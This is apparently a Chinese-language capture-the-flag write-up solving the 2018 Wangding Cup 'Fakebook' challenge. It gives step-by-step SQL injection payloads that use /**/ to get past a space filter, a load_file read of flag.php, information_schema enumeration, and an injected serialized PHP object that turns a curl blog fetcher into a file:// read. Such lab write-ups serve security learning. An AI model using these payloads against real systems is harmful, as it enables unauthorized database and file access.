刷题记录(1)-[网鼎杯 2018]Fakebook

刷题遇到一个感觉还挺有意思的一道

进去之后先是一个Fakebook的页面,一个登陆一个加东西,先扫一下目录看看有没有什么能用的

不知道为什么拿dirsearch扫全是429状态,然后试了下robots.txt发现有一个/user.php.bak

1.png

那么把这个.bak文件先搞下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

命名一个UserInfo类,定义三个属性name、age和blog,从url中创建 SimpleXMLElement 对象。通过get获得指定的URL,设置curl 参数,并将指定URL的内容返回,只要返回内容不为404即可。对输入的blog进行正则匹配。

接下来join一个抓包看一下这个name、age、blog、是用来干嘛的

2.png

放包join成功,有一个username下的aaa可以点

点进去之后是这样的网址:http://b580c66d-4c0b-405c-830c-882b770a3b10.node5.buuoj.cn:81/view.php?no=1

那么猜测会不会是SQL注入

23.png

有报错 SQL注入无疑。

当order by 4的时候还是正常显示,将4改成5,有报错

4.png

说明有4个字段,再试下union select

5.png

这里有过滤,那么用/**/替换空格试试

6.png

没有问题,继续注入

把1换成-1

7.png

ok,回显在2,那么就可以在这个位置进行注入,看了别的师傅的wp,知道flag在/var/www/html/flag.php这里,那么有一个想法就是直接用load_file来进行文件读取

1
?no=0/**/union/**/select/**/1,load_file("/var/www/html/flag.php"),3,4#

右键查看源代码就可以拿到flag了

8.png

另一种方法就是反序列化了

我们继续往下注入,前面我们已经拿到数据库名,接下来拿表名

1
?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#

9.png

然后找表的字段

1
?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#

10.png

我们一开始注册的时候no=1username和passwd也都知道,那么我们来查一下data字段的信息

1
?no=2 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#

11.png

是一串序列化后的UserInfo对象,这个data字段刚好对应着第四个字段,当我们传入no=1的时候,页面代码下会有一个iframe标签,里面有base64格式的数据

12.png

这个就是我们之前join的www.baidu.com

那么我们是否可以在第四个字段构造一个序列化数据让他反序列化出来我们想要的flag.php呢

1
2
3
4
5
6
7
8
9
10
11
<?php
class UserInfo
{
public $name = "1";
public $age = 0;
public $blog = "file:///var/www/html/flag.php";
}

$ganyu = new UserInfo();
echo serialize($ganyu);
?>
1
?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'#

13.png

再base64解码一下

14.png

拿到flag